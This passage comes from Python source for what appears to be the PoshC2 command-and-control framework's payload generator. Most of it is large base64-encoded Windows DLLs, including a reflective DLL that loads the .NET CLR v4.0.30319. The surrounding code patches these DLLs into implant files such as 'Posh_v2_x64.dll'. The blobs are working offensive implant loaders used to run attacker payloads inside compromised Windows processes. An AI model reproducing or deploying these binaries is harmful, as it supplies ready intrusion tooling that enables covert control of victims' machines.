KoAAIGsAACMaAEAhKwAAN+vAADEaAEA4K8AAHawAAC0aAEAeLAAALGwAABoXgEAtLAAADaxAABYZQEAOLEAAM2xAACQZwEA0LEAACCyAAAAaQEAILIAANeyAAAQaQEAILMAANqzAADsaAEA3LMAAFG0AABoXgEAVLQAALO0AABoXgEAtLQAACu1AABoZgEALLUAAHe1AACgYAEAhLUAAGi2AAA8aQEAaLYAAKe2AAB4aQEAqLYAAFq3AACAaQEAXLcAAJy3AACgYAEAnLcAAKa4AACkaQEAqLgAABS5AACkZwEAFLkAAGq5AABoZgEAbLkAAHS6AACsaQEAlLoAACC7AADEaQEAILsAALG7AAC8aQEAtLsAALy9AAAwagEAvL0AAMG+AABQagEAxL4AAOC/AABQagEA4L8AAFLBAABwagEAVMEAAEDCAADoaQEAQMIAACHFAAAYagEAMMUAANvKAACYagEA3MoAAHXLAABoZgEAgMsAAAPMAABYZQEABMwAAG3MAACkagEAcMwAAMnMAADIagEAzMwAADHNAADQagEANM0AAO3NAABoZgEA8M0AABfPAADYagEAIM8AAJDPAAD4agEAkM8AALDPAABkZQEAsM8AAEbQAAAAawEASNAAALnQAAAMawEAvNAAAF3RAAC8aQEAYNEAABrSAABYZQEAYNIAAJvSAACoYAEAnNIAALzSAABoXgEA0NIAAODSAAAwawEAINMAAEfTAACoYAEASNMAAE7WAAA4awEAUNYAAH7WAABoXgEAgNYAAJ3WAACgYAEAoNYAABzXAABMawEAHNcAADvXAACgYAEAPNcAAE3XAABoXgEAsNcAAP3XAAB0awEAQNgAAAfZAACYawEACNkAAIfZAABMYgEAoNkAAKLZAADoYAEAwNkAAOnZAADwYAEA8NkAADzaAAD0YAEAUNoAAFfaAAD4YAEAYNoAAGLaAAD8YAEAiNoAAKXaAACYXQEAvdoAANraAACYXQEA/toAABvbAACYXQEAS9sAAGLbAACYXQEAYtsAAH7bAACYXQEAftsAALTbAAA4YAEAtNsAAMzbAABgYAEAzNsAAF3cAABQYQEAXdwAAHXcAACYXQEAddwAAJrcAACYXQEAmtwAABLdAAAUYgEAEt0AACjdAACYXQEAKN0AAEvdAACYXQEAS90AAGHdAACYXQEAY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Kq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAQAQCQAAAACKAYoCigOKBIoFigaKB4oIigmKCooLigyKDYoOig+KAIoRihKKE4oUihWKFooXihiKGYoaihuKHIodih6KH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii2KLooviiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pAAgAQDQAQAAYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KrwqgCrEKsgqzCrQKtQq2CrcKuAq5CroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrLCswKzQrOCs8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuAFABABQAAADYpfCl+KVQplimaKYAgAEASAAAAACgqKLApQimKKZIpmimiKa4ptCm2KbgphinIKdAqEioUKhYqGCoaKhwqHiogKiIqJiooKioqLCouKjAqMio0KgA0AEAFAAAAICrqKvIq/CrGKxIrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + self.PatchDll("%sPosh_v2_x64.dll" % name, v2_64, 0x00017300, "DLL") + + # Load CLR "v4.0.30319" + self.QuickstartLog( "" + Colours.END ) + self.QuickstartLog( "ReflectiveDLL that loads CLR v4.0.30319 - DLL Export (VoidFunc)" + Colours.GREEN ) + v4_86 = "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